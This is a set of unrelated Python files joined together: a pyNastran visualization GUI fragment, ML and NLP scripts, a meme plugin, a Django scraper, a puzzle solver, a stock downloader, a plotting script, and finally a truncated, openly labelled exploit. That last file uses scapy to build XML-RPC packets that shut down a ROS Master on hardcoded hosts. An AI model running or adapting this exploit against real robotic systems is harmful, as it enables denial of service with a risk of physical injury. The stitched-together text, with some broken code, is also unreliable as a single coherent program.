            self.last_dir = os.path.split(out_filename)[0]
            load_function(out_filename, self.last_dir)

            self.out_filename = out_filename
            msg = '%s - %s - %s' % (self.format, self.infile_name, out_filename)
            self.set_window_title(msg)
            print("on_load_results(%r)" % out_filename)
            self.out_filename = out_filename
            self.log_command("on_load_results(%r)" % out_filename)

    def load_op2(self):
        """
        Load OP2 file.
        @todo not done...
        """
        return self.on_load_results()

        # getOpenFileName return QString and we want Python string
        fname = str(QtGui.QFileDialog.getOpenFileName(self, 'Open OP2 file', self.last_dir, 'Nastran OP2 (*.op2)'))

        if fname:
            self.last_dir = os.path.split(fname)[0]
            self.load_nastran_results(fname, self.last_dir)
            self.rend.ResetCamera()

    def load_f06(self):
        """
        Load F06 file.
        @todo not done...
        """
        # getOpenFileName return QString and we want Python string
        fname = str(QtGui.QFileDialog.getOpenFileName(self, 'Open F06 file', self.last_dir, 'Nastran F06 (*.f06)'))

        if fname:
            self.last_dir = os.path.split(fname)[0]
            self.load_nastran_results(fname, self.last_dir)
            self.rend.ResetCamera()

    def take_screenshot(self):
        """ Take a screenshot of a current view and save as a file"""
        self.on_take_screenshot(None)

    def on_take_screenshot(self, fname):
        """ Take a screenshot of a current view and save as a file"""
        if fname is None:
            filt = QtCore.QString()
            default_filename = ''

            Title = ''
            if self.Title is not None:
                Title = self.Title

            if self.out_filename is None:
                base, ext = os.path.splitext(os.path.basename(self.infile_name))
                #default_filename = base
                default_filename = self.infile_name
            else:
                base, ext = os.path.splitext(os.path.basename(self.out_filename))
                default_filename = Title + '_' + base

            fname = str(QtGui.QFileDialog.getSaveFileName(self, ('Choose a file name'
                        'and type'), default_filename, ('PNG Image *.png (*.png);; JPEG Image '
                        '*.jpg *.jpeg (*.jpg, *.jpeg);; TIFF Image *.tif *.tiff '
                        '(*.tif, *.tiff);; BMP Image *.bmp (*.bmp);; PostScript '
                        'Document *.ps (*.ps)'), filt))
            #print("fname=%r" % fname)
            if fname is None or fname == '':  # 2nd option
                return
            flt = str(filt).split()[0]
        else:
            flt = 'png'

        if fname:
            renderLarge = vtk.vtkRenderLargeImage()
            renderLarge.SetInput(self.rend)
            renderLarge.SetMagnification(self.magnify)

            nam, ext = os.path.splitext(fname)
            ext = ext.lower()
            for nam, exts, ob in (('PostScript', ['.ps'], vtk.vtkPostScriptWriter),
                                  ("BMP", ['.bmp'], vtk.vtkBMPWriter),
                                  ('JPG', ['.jpg', '.jpeg'], vtk.vtkJPEGWriter),
                                  ("TIFF", ['.tif', '.tiff'], vtk.vtkTIFFWriter)):
                if flt == nam:
                    fname = fname if ext in exts else fname + exts[0]
                    writer = ob()
                    break
            else:
                fname = fname if ext == '.png' else fname + '.png'
                writer = vtk.vtkPNGWriter()

            writer.SetInputConnection(renderLarge.GetOutputPort())
            writer.SetFileName(fname)
            writer.Write()
            self.log_info("Saved screenshot: " + fname)

    def closeEvent(self, event):
        """
        Handling saving state before application when application is being closed.
        """
        settings = QtCore.QSettings()
        settings.setValue("main_WindowGeometry", self.saveGeometry())
        settings.setValue("mainWindowState", self.saveState())
        settings.setValue("backgroundColor", self.background_col)

    def _simulate_key_press(self, key):
        """
        A little hack method that simulates pressing the key for the VTK
        interactor. There is no easy way to instruct VTK to e.g. change mouse
        style to 'trackball' (as by pressing 't' key),
        (see http://public.kitware.com/pipermail/vtkusers/2011-November/119996.html)
        therefore we trick VTK to think that a key has been pressed.

        :param key: a key that VTK should be informed about, e.g. 't'
        """
        print("key = ", key)
        self.vtk_interactor._Iren.SetEventInformation(0, 0, 0, 0, key, 0, None)
        self.vtk_interactor._Iren.KeyPressEvent()
        self.vtk_interactor._Iren.CharEvent()

        #if key in ['y', 'z', 'X', 'Y', 'Z']:
            #self.update_camera(key)

    def addGeometry(self):
        self.aQuadMapper = vtk.vtkDataSetMapper()
        self.aQuadMapper.SetInput(self.grid)
        #aQuadMapper.SetInput(Filter.GetOutput())
        geometryActor = vtk.vtkActor()
        geometryActor.SetMapper(self.aQuadMapper)
        #geometryActor.AddPosition(2, 0, 2)
        #geometryActor.GetProperty().SetDiffuseColor(0, 0, 1) # blue
        geometryActor.GetProperty().SetDiffuseColor(1, 0, 0)  # red
        self.rend.AddActor(geometryActor)

    def addAltGeometry(self):
        self.aQuadMapper = vtk.vtkDataSetMapper()
        self.aQuadMapper.SetInput(self.grid2)
        #aQuadMapper.SetInput(Filter.GetOutput())
        geometryActor = vtk.vtkActor()
        geometryActor.SetMapper(self.aQuadMapper)
        #geometryActor.AddPosition(2, 0, 2)
        #geometryActor.GetProperty().SetDiffuseColor(0, 0, 1) # blue
        geometryActor.GetProperty().SetDiffuseColor(1, 1, 0)  # green
        self.rend.AddActor(geometryActor)
        vtk.vtkPolyDataMapper().SetResolveCoincidentTopologyToPolygonOffset()

    def cycleResults(self, result_name=None):
        self.log_command('cycleResults(result_name=%r)' % result_name)
        #print("nCases = %i" %(self.nCases+1))
        if self.nCases == 0:
            self.log.warning('nCases=0')
            self.scalarBar.SetVisibility(False)
            return

        print('cycling...')
        print("is_nodal=%s is_centroidal=%s" % (self.is_nodal,self.is_centroidal))

        foundCases = self.incrementCycle(result_name)
        if foundCases:
            print("incremented case")
            #gridResult.Reset()
            gridResult = vtk.vtkFloatArray()
            #gridResult.Reset()
            #gridResult.Modified()
            self.rend.Modified()
            #emptyResult = vtk.vtkFloatArray()

            key = self.caseKeys[self.iCase]
            case = self.resultCases[key]
            print("len(case) = %i" % len(case))
            (subcaseID, resultType, vectorSize, location, data_format) = key

            gridResult.SetNumberOfComponents(vectorSize)
            if location == 'centroid':
            #if location == 'centroid' and self.is_centroidal:
                #allocationSize = vectorSize*location (where location='centroid'-> self.nElements)
                gridResult.Allocate(self.nElements, 1000)
            #elif location == 'nodal' and self.is_nodal:
            elif location == 'nodal':
                #allocationSize = vectorSize*self.nNodes # (where location='node'-> self.nNodes)
                gridResult.Allocate(self.nNodes * vectorSize, 1000)
                #gridResult.SetNumberOfComponents(vectorSize)
            else:
                print("***%s skipping" % location)

            #self.iSubcaseNameMap[self.isubcase] = [Subtitle,Label]
            try:
                caseName = self.iSubcaseNameMap[subcaseID]
            except KeyError:
                caseName = ('case=NA', 'label=NA')
            (subtitle, label) = caseName

            #name_map = {
                #'rhoU' : 'ρU',
                #'rhoV' : 'ρV',
                #'rhoW' : 'ρW',
            #}
            #try:
                #resultType = name_map[resultType]
            #except KeyError:
                #pass

            print("subcaseID=%s resultType=%r subtitle=%r label=%r" % (subcaseID, resultType, subtitle, label))

            if isinstance(case, ndarray):
                max_value = amax(case)
                min_value = amin(case)
            else:
                min_value = case[0]
                max_value = case[0]
                for value in case:
                    max_value = max(value, max_value)
                    min_value = min(value, min_value)

            # flips sign to make colors go from blue -> red
            norm_value = max_value - min_value
            print('max_value=%s min_value=%r norm_value=%r' % (max_value, min_value, norm_value))
            #print "case = ",case
            #if norm_value==0.: # avoids division by 0.
            #    norm_value = 1.

            if 1:
                valueSet = set()
                if vectorSize == 1:
                    #print "min_value = ",min(case)
                    for i, value in enumerate(case):
                        #gridResult.InsertValue(i, value)
                        gridResult.InsertNextValue(1.0-(value - min_value)/norm_value)
                        #if len(valueSet) < 20:
                            #valueSet.add(value)
                else:  # vectorSize=3
                    pass
                    #for value in case:
                    #    .gridResult.InsertNextTuple3(value)  # x,y,z
                print("value_range", gridResult.GetValueRange())

            print("max=%g min=%g norm=%g\n" % (max_value, min_value, norm_value))

            nValueSet = len(valueSet)
            if 1:
                self.textActors[0].SetInput('Max:  %g' % max_value)  # max
                self.textActors[1].SetInput('Min:  %g' % min_value)  # min
                self.textActors[2].SetInput('Subcase=%s Subtitle: %s' % (subcaseID, subtitle))  # info

                if label:
                    self.textActors[3].SetInput('Label: %s' % label)  # info
                    self.textActors[3].VisibilityOn()
                else:
                    self.textActors[3].VisibilityOff()

            self.UpdateScalarBar(resultType, min_value, max_value, norm_value, data_format)
            #self.scalarBar.SetNumberOfLabels(nValueSet)
            #self.scalarBar.SetMaximumNumberOfColors(nValueSet)
            #prop = self.scalarBar.GetLabelTextProperty()
            #fontSize = prop.GetFontSize()
            #print "fontSize = ",fontSize
            #prop.SetFontSize(40)

            # TODO results can only go from centroid->node and not back to
            ## centroid
            #print dir(self.grid)
            #self.grid.Reset()
            #print('gridResult', dir(gridResult))
            #print('gridResult', gridResult)
            print("location =", location)

            npoints = self.nPoints()
            ncells = self.nCells()

            if location == 'centroid':
            #if location == 'centroid' and self.is_centroidal:
                if npoints:
                    point_data = self.grid.GetPointData()
                    point_data.Reset()
                self.grid.GetCellData().SetScalars(gridResult)
                self.log_info("***centroidal plotting vector=%s - subcaseID=%s resultType=%s subtitle=%s label=%s" % (vectorSize, subcaseID, resultType, subtitle, label))
            elif location == 'nodal':
            #elif location == 'nodal' and self.is_nodal:
                if ncells:
                    cell_data = self.grid.GetCellData()
                    print(dir(cell_data))
                    cell_data.Reset()
                if vectorSize == 1:
                    self.log_info("***nodal plotting vector=%s - subcaseID=%s resultType=%s subtitle=%s label=%s" % (vectorSize, subcaseID, resultType, subtitle, label))
                    self.grid.GetPointData().SetScalars(gridResult)
                else:
                    self.log_info("***nodal plotting vector=%s - subcaseID=%s resultType=%s subtitle=%s label=%s" % (vectorSize, subcaseID, resultType, subtitle, label))
                    self.grid.GetPointData().SetScalars(gridResult)
                #print("***nodal skipping - subcaseID=%s resultType=%s subtitle=%s label=%s" %(subcaseID,resultType,subtitle,label))
            else:
                self.log_info("***D%s skipping - subcaseID=%s resultType=%s subtitle=%s label=%s" % (location, subcaseID, resultType, subtitle, label))
                self.scalarBar.SetVisibility(False)
            self.grid.Modified()
            self.vtk_interactor.Render()

    def nCells(self):
        try:
            cell_data = self.grid.GetCellData()
            return cell_data.GetNumberOfCells()
        except AttributeError:
            return 0

    def nPoints(self):
        try:
            point_data = self.grid.GetPointData()
            return point_data.GetNumberOfPoints()
        except AttributeError:
            return 0

    def incrementCycle(self, result_name=False):
        found_case = False
        if result_name is not False and result_name is not None:
            for icase, cases in sorted(self.resultCases.iteritems()):
                #cases[(ID, 'Region', 1, 'centroid', '%.0f')] = bcs
                if result_name == cases[1]:
                    found_case = True
                    self.iCase = icase

        if not found_case:
            if self.iCase is not self.nCases:
                self.iCase += 1
            else:
                self.iCase = 0

        if len(self.caseKeys) > 0:
            #print('caseKeys =', self.caseKeys)
            try:
                key = self.caseKeys[self.iCase]
            except IndexError:
                foundCases = False
                return foundCases

            print("key = %s" % str(key))
            if key[2] == 3:  # vector size=3 -> vector, skipping ???
                self.incrementCycle()
            foundCases = True
        else:
            self.log_error("No Results found.  Many results are not supported in the GUI.\n")
            foundCases = False
        #print "next key = ",key
        return foundCases

    def on_update_scalar_bar(Title, min_value, max_value, data_format):
        self.Title = str(Title)
        self.min_value = float(min_value)
        self.max_value = float(max_value)
        try:
            data_format % 1
        except:
            self.log_error("failed applying the data formatter format=%r and should be of the form: '%i', '%8f', '%.2f', '%e', etc.")
            return
        self.data_format = data_format
        self.log_command('on_update_scalar_bar(%r, %r, %r')

    def _is_int_result(self, data_format):
        if 'i' in data_format:
            return True
        return False

    def UpdateScalarBar(self, Title, min_value, max_value, norm_value, data_format):
        """
        :param Title the:   scalar bar title
        :param min_value:   the blue value
        :param max_value:   the red value
        :param data_format: '%g','%f','%i', etc.
        """
        print("UpdateScalarBar min=%s max=%s norm=%s" % (min_value, max_value, norm_value))
        self.colorFunction.RemoveAllPoints()

        if self.Title_overwrite is not None:
            Title = self.Title
        self.Title = Title
        #if self.min_value is not None:
            #min_value = self.min_value
        #if self.max_value is not None:
            #max_value = self.max_value
        #if not self.blue_to_red:
            #min_value, max_value = max_value, min_value

        self.colorFunction.AddRGBPoint(min_value, 0.0, 0.0, 1.0)  # blue
        self.colorFunction.AddRGBPoint(max_value, 1.0, 0.0, 0.0)  # red
        #self.scalarBar.SetLookupTable(self.colorFunction)

        self.scalarBar.SetTitle(Title)
        self.scalarBar.SetLabelFormat(data_format)

        nvalues = 11
        if (Title in ['Element_ID', 'Eids', 'Region'] and norm_value < 11):
            nvalues = int(max_value - min_value) + 1
            #print "need to adjust axes...max_value=%s" % max_value

        if self.nvalues is not None:
            if not self._is_int_result(data_format):  # don't change nvalues for int results
                nvalues = self.nvalues

        #if data_format=='%.0f' and maxValue>

        self.scalarBar.SetNumberOfLabels(nvalues)
        self.scalarBar.SetMaximumNumberOfColors(nvalues)
        self.scalarBar.Modified()

    def ResetCamera(self):
        self.GetCamera().ResetCamera()

    def GetCamera(self):
        #print "getting camera..."
        return self.rend.GetActiveCamera()

    def update_camera(self, code):
        camera = self.GetCamera()
        print("code =", code)
        if code == '+x':  # set x-axis
            camera.SetFocalPoint(0., 0., 0.)
            camera.SetViewUp(0., 0., 1.)
            camera.SetPosition(1., 0., 0.)
        elif code == '-x':  # set x-axis
            camera.SetFocalPoint(0., 0., 0.)
            camera.SetViewUp(0., 0., -1.)
            camera.SetPosition(-1., 0., 0.)

        elif code == '+y':  # set y-axis
            camera.SetFocalPoint(0., 0., 0.)
            camera.SetViewUp(0., 0., 1.)
            camera.SetPosition(0., 1., 0.)
        elif code == '-y':  # set y-axis
            camera.SetFocalPoint(0., 0., 0.)
            camera.SetViewUp(0., 0., -1.)
            camera.SetPosition(0., -1., 0.)

        elif code == '+z':  # set z-axis
            camera.SetFocalPoint(0., 0., 0.)
            camera.SetViewUp(0., 1., 0.)
            camera.SetPosition(0., 0., 1.)
        elif code == '-z':  # set z-axis
            camera.SetFocalPoint(0., 0., 0.)
            camera.SetViewUp(0., -1., 0.)
            camera.SetPosition(0., 0., -1.)
        else:
            self.log_error('invalid camera code...%r' % code)
            return
        self._update_camera(camera)
        #print dir(camera)
        #print dir(self.vtk_interactor)
        #print dir(self.rend)
        self.rend.ResetCamera()
        #self.vtk_interactor.ResetCamera()
        self.log_command('update_camera(%r)' % code)

def main():
    app = QtGui.QApplication(sys.argv)
    QtGui.QApplication.setOrganizationName("pyNastran")
    QtGui.QApplication.setOrganizationDomain(pyNastran.__website__)
    QtGui.QApplication.setApplicationName("pyNastran")
    QtGui.QApplication.setApplicationVersion(pyNastran.__version__)

    inputs = get_inputs('qt')
    window = MainWindow(inputs)
    sys.exit(app.exec_())

if __name__ == "__main__":
    main()


from transformers import pipeline
import torch
import pandas as pd
import time
from csv import DictWriter
device = 0 if torch.cuda.is_available() else -1
field_names = ['metin','label','kategori','multi_class_true','multi_class_false']

data = {
    'metin':[],
    'label':[],
    'kategori':[],
    'multi_class_true':[],
    'multi_class_false':[]
}
df = pd.DataFrame(data)
df.to_csv('Result_Zero_Shot.csv', index = False)

classifier = pipeline("zero-shot-classification", model="joeddav/xlm-roberta-large-xnli", device=device)
df = pd.read_csv('your_data_csv_format')
labels = df['kategori'].unique()

for i in range(len(df['metin'])):
    input_text1 = df['metin'][i]
    multi_true_result = classifier(input_text1, labels,multi_class=True)
    multi_false_result = classifier(input_text1, labels,multi_class=False)
    row_dict = {
        'metin':df['metin'][i], 'label':df['label'][i], 'kategori':df['kategori'][i], 'multi_class_true':multi_true_result ,'multi_class_false':multi_false_result
        }

    with open('result.csv', 'a+', newline='') as write_obj:
        dict_writer = DictWriter(write_obj, fieldnames=field_names)
        dict_writer.writerow(row_dict)
    #print(result)


from pathlib import Path
from typing import List

from pil_utils import BuildImage

from meme_generator import MemeArgsModel, add_meme
from meme_generator.exception import TextOverLength
from meme_generator.utils import make_jpg_or_gif

img_dir = Path(__file__).parent / "images"

def together(images: List[BuildImage], texts: List[str], args: MemeArgsModel):
    frame = BuildImage.open(img_dir / "0.png")
    name = args.user_infos[0].name if args.user_infos else ""
    text = texts[0] if texts else f"一起玩{name}吧！"
    try:
        frame.draw_text(
            (10, 140, 190, 190),
            text,
            weight="bold",
            max_fontsize=50,
            min_fontsize=10,
            allow_wrap=True,
        )
    except ValueError:
        raise TextOverLength(text)

    def make(img: BuildImage) -> BuildImage:
        img = img.convert("RGBA").resize((63, 63), keep_ratio=True)
        return frame.copy().paste(img, (132, 36), alpha=True)

    return make_jpg_or_gif(images[0], make)

add_meme(
    "together",
    together,
    min_images=1,
    max_images=1,
    min_texts=0,
    max_texts=1,
    keywords=["一起"],
)


from django.shortcuts import render
from django.http import HttpResponse
from django.views import View
from .articles_scrape import get_articles
from .models import Article

class Articles(View):
    def get(self, requests, *args, **kwargs):
        queryset = Article.objects.all()
        context = {
            "object_list": queryset,
            "title": "Articles"
        }
        return render(requests, "articles/articles.html", context)

class ScrapeArticles(View):
    def get(self, requests, *args, **kwargs):
        posts = get_articles()
        for i in range(len(posts)):
            article = Article()
            # print("Article: ", i + 1)
            try:
                article.title = posts[i].a.section.h3.text
                print(article.title)
            except:
                article.title = ""
                print(article.title)
            try:
                article.link = posts[i].a['href']
                print(article.link)
            except:
                article.link = ""
                print(article.link)
            try:
                article.image = posts[i].a.section.figure.img['src']
                print(article.image)
            except:
                article.image = ""
                print(article.image)
            article.save()
        context = {}
        return render(requests, "articles/scrape_articles.html", context)


import sys
from collections import deque
from itertools import permutations
input = sys.stdin.readline

dy = [-1, 0, 0, 1]
dx = [0, 1, -1, 0]

def bfs(start):
    q = deque()
    v = [[False] * w for _ in range(h)]
    res = [0] * len(dirts)
    found = 1

    q.append((start[0], start[1], 0))
    v[start[0]][start[1]] = True
    res[didx[start]] = 0

    while q:
        cy, cx, cnt = q.popleft()

        for i in range(4):
            ny = cy + dy[i]
            nx = cx + dx[i]

            if 0 <= ny < h and 0 <= nx < w:
                if board[ny][nx] != 'x' and not v[ny][nx]:

                    if (ny, nx) in didx:
                        res[didx[(ny, nx)]] = cnt + 1
                        found += 1

                    v[ny][nx] = True
                    q.append((ny, nx, cnt + 1))

    if found != len(dirts):
        return False
    return res

while True:
    w, h = map(int, input().split())
    if (w, h) == (0, 0):
        exit()

    board = []
    dirts = []
    didx = {}
    dist = []

    for i in range(h):
        tmp = list(input().rstrip())
        for j in range(w):
            if tmp[j] == 'o':
                tmp[j] = '.'
                dirts.insert(0, (i, j))

            elif tmp[j] == '*':
                dirts.append((i, j))
        board.append(tmp)

    idx = 0
    for dirt in dirts:
        didx[dirt] = idx
        idx += 1

    flag = 0
    for i in range(len(dirts)):
        t = bfs(dirts[i])
        if t:
            dist.append(t)
        else:
            flag = 1
            break
    # print(dist)

    if flag:
        print(-1)
        continue

    dirts.remove(dirts[0])
    mindist = float('inf')
    for case in permutations([i+1 for i in range(len(dirts))], len(dirts)):
        tmp = dist[0][case[0]]
        for i in range(len(case) - 1):
            tmp += dist[case[i]][case[i+1]]

        mindist = min(mindist, tmp)

    print(mindist)


#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
import gensim
import os
import codecs
import pandas as pd
from sklearn import linear_model
import numpy as np
import StringIO

model_en = gensim.models.KeyedVectors.load_word2vec_format(os.path.expanduser("~/wiki.en.vec"))
model_ta = gensim.models.KeyedVectors.load_word2vec_format(os.path.expanduser("~/wiki.ta.vec"))

with open("top_en_ta.csv", "rb") as myfile:
    decoded = codecs.decode(myfile.read(), "utf-8", "ignore")
    encoded = codecs.encode(decoded, "utf-8", "ignore")
    fakefile = StringIO.StringIO(encoded)

df = pd.read_csv(fakefile, encoding='utf-8')
for n in range(len(df)):
    if df['tamil'][n] not in model_ta.vocab or df['english'][n] not in model_en.vocab:
        df = df.drop(n)
df = df.reset_index(drop=True)

df['vector_ta'] = [model_ta[df['tamil'][n]] for n in range(len(df))]
df['vector_en'] = [model_en[df['english'][n]] for n in range(len(df))]
ma_train_ta = pd.DataFrame(df['vector_ta'][:6000].tolist()).values
ma_train_en = pd.DataFrame(df['vector_en'][:6000].tolist()).values

def most_similar_vect(self, vect_enter, top_n=10):
    self.init_sims()
    vect_unit = gensim.matutils.unitvec(vect_enter)
    dists = np.dot(np.squeeze(np.asarray(self.syn0norm)), np.squeeze(np.asarray(vect_unit)))
    if not top_n:
        return dists
    best = np.argsort(dists)[::-1][:top_n]
    # ignore (don't return) words from the input
    result = [(self.index2word[sim], float(dists[sim])) for sim in best]
    return result[:top_n]

"""
ta to en
"""
clf_ta_en = linear_model.LinearRegression()
clf_ta_en.fit(ma_train_ta, ma_train_en)

def traducwithsco_ta_to_en(w, numb=10):
    return most_similar_vect(model_en, clf_ta_en.predict(model_ta[w]), numb)

def traduclist_ta_to_en(w, numb=10):
    return [traducwithsco_ta_to_en(w, numb)[k][0] for k in range(numb)]

for n in range(6000, 6010):
    print(df['english'][n])
    print(df['tamil'][n])
    print(traduclist_ta_to_en(df['tamil'][n], 5))

"""
clearing
தீர்வு
[u'solve', u'solution', u'solving', u'resolving', u'solutions']

mess
குழப்பம்
[u'confusion', u'misunderstandable', u'misinterpration', u'confusing', u'misinterpretting']

reward
வெகுமதி
[u'exorbitantly', u'exorbitant', u'profiteering', u'enticements', u'disincentivise']

diet
உணவில்
[u'nutritionally', u'antinutritional', u'uncooked', u'nutritive', u'food']

rounds
சுற்று
[u'circuit', u'circuit,', u'circuit\u2014the', u'circuits', u'circuitz']

frustration
ஏமாற்றம்
[u'disappointed', u'faltering', u'embarrassment', u'desperation', u'embarrasment']

treaty
ஒப்பந்தம்
[u'renegotiated', u'renegotiation', u'agreement', u'renegotiations', u'renegotiate']

planted
நடப்படுகிறது
[u'happens', u'fluctuates', u'takes', u'occurs', u'puts']

degradation
சீரழிவு
[u'ameliorating', u'deterioration', u'ameliorative', u'amelioration', u'ameliorations']
"""

traductest_ta_to_en = [df['english'][n] in traduclist_ta_to_en(df['tamil'][n], 1) for n in range(6000, 6500)]
scorefinal_ta_to_en = sum(traductest_ta_to_en) / len(traductest_ta_to_en)
print(scorefinal_ta_to_en)

"""
en to ta
"""
clf_en_ta = linear_model.LinearRegression()
clf_en_ta.fit(ma_train_en, ma_train_ta)

def traducwithsco_en_to_ta(w, numb=10):
    return most_similar_vect(model_ta, clf_en_ta.predict(model_en[w]), numb)

def traduclist_en_to_ta(w, numb=10):
    return [traducwithsco_en_to_ta(w, numb)[k][0] for k in range(numb)]

for n in range(7000, 7010):
    print(df['tamil'][n])
    print(df['english'][n])
    for i in traduclist_en_to_ta(df['english'][n], 5):
        print(i)

"""
கலைப்பு
liquidation
நஷ்டஈடு
கடனீட்டு
கடனாளி
கடனளிப்பு
ஏஐஜி

கவரும்
lure
முயலுகையில்
விரட்ட
மீன்பிடிக்க
துரத்திக்கொண்டு
காப்பாற்றிக்கொள்ள

விசைப்பலகைகள்
keyboards
pcகள்
pdaகள்
cpuகள்
ஏபிஐகள்
lcdகள்

தீர்க்கரேகை
meridian
ஐகன்சு–பிரனெல்
அட்சரேகை
அதிபரவளைவின்
காம்பர்ட்சேவ்

தூக்க
sleeping
குளியலறையில்
வயிறார
கழிப்பறையில்
தூங்கும்
தூங்காத

தக்கவைத்து
retaining
தக்கவைத்திருக்கும்
hpfs
தக்கவைத்துக்கொள்வதற்காக
தக்கவைக்கும்
மாற்றியமைப்பதற்கான

இடைவெளி
interval
μl
−∞
v/r
λm
a,bஇல்

சுதந்திரம்
liberty
எட்ஜ்பாஸ்டன்
கம்னியூஸ்ட்
ரீகன்புக்ஸ்
கம்னியூஸ்டு
லேக்ஹவுஸ்

பற்கள்
teeth
நகங்கள்
விரலெலும்புகள்
இடுப்பெலும்புகள்
களிம்புகள்
முலைக்காம்புகள்

வாட்கின்ஸ்
watkins
ஹோர்டன்
டேவ்சன்
ஜெஃப்சன்
டாம்லின்சன்
ரொபின்சன்
"""


import yfinance as yf
from datetime import datetime

def comp_det():
    my_file = open("competitors.txt", "r")
    content = my_file.read()
    content_list = content.split("\n")
    my_file.close()
    return content_list
def convert_tocsv(price_history,i,company_name):
    path_out='/home/aakash/data_pipeline/'
    now = datetime.now()
    dt_string = now.strftime("%d-%m-%Y %H:%M:%S")
    price_history.to_csv(path_out+company_name+'_'+'Nasdaq'+'_'+i+'_'+dt_string+'.csv')

l=comp_det()
for i in l:
    l=yf.Ticker(i)
    company_name = l.info['longName']
    price_history = yf.Ticker(i).history(period='5d')# we can scale this paramter as per the requirement
    convert_tocsv(price_history,i,company_name)


"""
To create mock data for this, do

python src/categorical_from_binary/experiments/sims/run_sims.py  --seed 0 --test_run true  --list_of_scales_for_predictive_categories  0.1 2.0
python src/categorical_from_binary/experiments/sims/run_sims.py  --seed 1 --test_run true  --list_of_scales_for_predictive_categories  0.1 2.0

This module should be run locally after scp'ing the data from `run_sims` to a local results_dir
"""

import numpy as np

np.set_printoptions(precision=3, suppress=True)

import seaborn as sns

sns.set(style="darkgrid")
from matplotlib import pyplot as plt

from categorical_from_binary.experiments.compare_to_mle.results_collector import (
    make_df_from_directory_taking_one_file_for_each_seed,
)

# results_dir="./tmp"
# need to scp -r mwojno01@login.cluster.tufts.edu:/cluster/tufts/hugheslab/mwojno01/data/results/sims/
# from results_dir_cluster to results_dir_local
results_dir_cluster = "/cluster/tufts/hugheslab/mwojno01/data/results/sims/"
results_dir_local = "data/results/sims_results_in_icml_draft/ib_probit/"
df = make_df_from_directory_taking_one_file_for_each_seed(
    results_dir_local, prefix_for_filenames_of_interest="sim_results_CAVI_vs_MLE_"
)
# TODO : time for IB CAVI increases with dataset sizes (up to 30 min!), whereas MLE does not do this...(never exeeds 1 min).
# Should we be concerned? Guess its not a big deal since MLE's problem is with smaller datasets, not bigger ones.  Still not ideal, though.

###
# now try to add in plotting stuff from the old module
###
x_label = "Mean covariate-conditional entropy"  # "Mean covariate-conditional category entropy"
y_label = "Mean holdout log likelihood"
outcome_of_interest_postfix = "log_like"
dir_for_saving_figures = "tmp/"
new_legend_title = "Prediction Method"
# Warning! The new labels need to be in the same order as the plot's default legend.  TODO: Fix this.

fig, axes = plt.subplots(
    1,
    2,
    figsize=(5, 3),
    sharey=True,
    sharex=True,
    squeeze=True,
    constrained_layout=True,
)
Ks = list(set(df["K"]))
Ns = list(set(df["N"]))
Ms = list(set(df["M"]))
K = Ks[0]
M = Ms[0]

legend = True
for (n, N) in enumerate(reversed(Ns)):
    ## select context of interest for this subplot
    dff = df.query(f"K == {K} & N == {N} & M == {M}")

    ## compute the mean covariate conditional entropy over seeds
    dff["mean_covariate_conditional_entropy_over_seeds"] = ""
    for scale in set(dff.scale_for_predictive_categories):
        mean_covariate_conditional_entropy_over_seeds = dff[
            dff.scale_for_predictive_categories == scale
        ].mean_covariate_conditional_entropy_of_true_category_probabilities.mean()
        dff.loc[
            dff.scale_for_predictive_categories == scale,
            "mean_covariate_conditional_entropy_over_seeds",
        ] = mean_covariate_conditional_entropy_over_seeds

    # mostly doing this so x axis isn't overly precise in the plot.
    dff = dff.round(decimals=3)

    dff = dff.loc[
        :,
        dff.columns.str.endswith(outcome_of_interest_postfix)
        | dff.columns.str.startswith("mean_covariate_conditional_entropy_over_seeds"),
    ]

    # 'melting' here basically takes a bunch of different columns and makes them different factors
    # for a single column.  So the dataframe gets longer and thinner.
    df_melted = dff.melt(
        "mean_covariate_conditional_entropy_over_seeds",
        var_name="method",
        value_name=outcome_of_interest_postfix,
    )

    g = sns.lineplot(
        x="mean_covariate_conditional_entropy_over_seeds",
        y=outcome_of_interest_postfix,
        hue="method",
        data=df_melted,
        legend=True,
        estimator="mean",
        ax=axes[n],
    )
    handles, labels = axes[n].get_legend_handles_labels()
    axes[n].legend().set_visible(False)
    axes[n].set(xlabel=None)
    axes[n].set(ylabel=None)

fig.supylabel(y_label)
fig.supxlabel(x_label)

# TODO: These should NOT be hardcoded!
cols = ["N=1P", "N=100P"]

pad = 6  # in points

for ax, col in zip(axes, cols):
    ax.annotate(
        col,
        xy=(0.5, 1),
        xytext=(0, pad),
        xycoords="axes fraction",
        textcoords="offset points",
        ha="center",
        va="baseline",
        fontsize=14,
    )

# ### Get labels from last axes and make legend
# handles, labels = axes[0].get_legend_handles_labels()
# h,l = ax.get_legend_handles_labels()

new_legend_labels = [
    "Generating Process",
    "Baserate Frequency",
    "Softmax (via MLE)",
    "CB-Probit (via IB-CAVI)",
]
new_labels = new_legend_labels

fig.legend(
    [handles[0], handles[3], handles[2], handles[1]],
    [new_labels[0], new_labels[3], new_labels[2], new_labels[1]],
    loc="upper left",
    bbox_to_anchor=(0.57, 0.405, 0.5, 0.1),
    fontsize="small",
)
plt.show()


"""
Kill ROS Master using undocumented API functions, nothing fancy.
    Found with some silly fuzz testing.

- Authors: Víctor Mayoral Vilches <victor@aliasrobotics.com>
- Description: Shutdown ROS Master using its API

DISCLAIMER: Use against your own hosts only! By no means Alias Robotics
or the authors of this exploit encourage or promote the unauthorized tampering
with running robotic systems. This can cause serious human harm and material
damages. This is for educational purposes only.
"""

from scapy.all import *
from scapy.layers.inet import TCP, IP
from scapy.layers.http import HTTP, HTTPRequest, HTTPResponse
from scapy.layers.l2 import Ether
from scapy.contrib.tcpros import *
# from fuzzingbook.Fuzzer import RandomFuzzer
import sys
import random
from datetime import datetime
from subprocess import Popen, PIPE

# import rospy

# bind layers so that packages are recognized as TCPROS
bind_layers(TCP, TCPROS)
bind_layers(HTTPRequest, XMLRPC)
bind_layers(HTTPResponse, XMLRPC)
# bind_layers(HTTPROSRequest, XMLRPC)
# bind_layers(HTTPROSResponse, XMLRPC)

###################################################################################
# VARIABLES
###################################################################################

source = "192.168.2.5"
# or even its own.
random.seed(datetime.now())

package_shutdown = (
    IP(version=4, ihl=5, tos=0, flags=2, dst="192.168.2.6")
    / TCP(
        sport=20001,
        dport=11311,
        seq=1,
        flags="PA",
        ack=1,
    )
    / TCPROS()
    / HTTP()
    / HTTPRequest(
        Accept_Encoding=b"gzip",
        Content_Length=b"227",
        Content_Type=b"text/xml",
        Host=b"192.168.2.6:11311",
        User_Agent=b"xmlrpclib.py/1.0.1 (by www.pythonware.com)",
        Method=b"POST",
        Path=b"/RPC2",
        Http_Version=b"HTTP/1.1",
    )
    / XMLRPC()
    / XMLRPCCall(
